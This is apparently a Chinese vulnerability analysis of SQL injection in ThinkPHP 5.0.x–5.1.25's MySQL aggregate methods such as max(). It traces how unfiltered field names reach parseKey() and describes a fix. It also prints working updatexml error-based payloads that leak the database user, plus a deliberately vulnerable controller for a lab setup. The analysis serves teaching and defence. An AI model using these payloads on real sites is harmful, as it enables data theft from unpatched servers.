简介
Mysql 聚合函数相关方法均存在注入
本次漏洞存在于所有 Mysql 聚合函数相关方法。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。
漏洞影响版本&#xff1a; 5.0.0<&#61;ThinkPHP<&#61;5.0.21 、 5.1.3<&#61;ThinkPHP5<&#61;5.1.25 。
Payload IN &#xff1a;5.0.0~5.0.21 、 5.1.3&#xff5e;5.1.10
id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23
Payload IN &#xff1a;5.1.11&#xff5e;5.1.25
id&#96;)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23
环境搭建
composer下载源码&#xff1a;
composer create-project --prefer-dist topthink/think&#61;5.1.25 thinkphp_5.1.25
配置 application/index/controller/Index.php为以下代码&#xff1a;
namespace app\index\controller;class Index
{public function index(){$options &#61; request()->get(&#39;options&#39;);$result &#61; db(&#39;users&#39;)->max($options);var_dump($result);}
}
配置composer.json&#xff1a;
在config/database.php下配置数据库
在config/app.php开启调试
然后去GitHub上下载thinkphp目录并将其代替我们composer下载的thinkphp目录&#xff0c;下载地址&#xff1a;
https://github.com/top-think/framework/archive/refs/tags/v5.1.25.zip
分析
正常地传入id&#xff0c;即MAX(&#96;id&#96;)了&#xff0c;看到确实会返回正确的值&#xff1a;
尝试闭合一下MAX(&#96;id&#96;)&#xff0c;加一个反引号、一个括号、一个报错语句、一个注释符&#xff0c;发现我们的请求没有被拦截而直接成功触发SQL注入了&#xff1a;
payload
?options&#61;id&#96;) and updatexml(1,concat(0x7e,user(),0x7e),1)from users%23
分析一下其中的原因&#xff1a;
前面的不讲了&#xff0c;直接看max()方法&#xff0c;会调用aggregate()方法
Connection类下的aggregate()方法&#xff1a;先经过了一个拼接&#xff0c;然后会进入value()方法
经过一个拼接得到的$field&#61;
MAX(&#96;id&#96;) and updatexml(1,concat(0x7e,user(),0x7e),1)from users
然后看value()&#xff0c;其中最重要的就是生成SQL语句处&#xff1a;
Builder类下的select方法&#xff1a;重点看对字段的处理&#xff0c;也就是重点看$this->parseField($query, $options[&#39;field&#39;]),
这个parseField方法主要执行下面这些代码&#xff1a;
protected function parseField(Query $query, $fields)
{.......foreach ($fields as $key &#61;> $field) {else {$array[] &#61; $this->parseKey($query, $field);}}......$fieldsStr &#61; implode(&#39;,&#39;, $array);return $fieldsStr;
将$field
数组的值逐个传入parseKey中检查&#xff0c;然后再往$array
中添加值&#xff0c;$array
数组以逗号合并起来&#xff0c;得到$fieldStr
上述的parsekey方法来自Mysql类下的parsekey方法&#xff0c;会对字段名进行检查&#xff0c;其中有一处不满足正则就加反引号的代码&#xff0c;不过这对我们的上面$fields数组中的值没有影响&#xff0c;因为都不满足那个正则
所以最终$fieldsStr
的值为
MAX(&#96;id&#96;) and updatexml(1,concat(0x7e,user(),0x7e),1)from users
从而得到SQL语句&#xff1a;
SELECT MAX(&#96;id&#96;) and updatexml(1,concat(0x7e,user(),0x7e),1)from users
到这儿就大致完成了&#xff0c;可以看见SQL语句就是我们想要的
可以看到关键是Mysql类下对字段名检查的parseKey()方法 没有严格过滤导致我们的语句能组成起来
七月火师傅的攻击流程图
修复
在Mysql类parseKey()方法中&#xff0c;添加一段过滤代码&#xff0c;不允许出现除了 字母、点号、星号 以外的字符时&#xff0c;否则就抛出异常。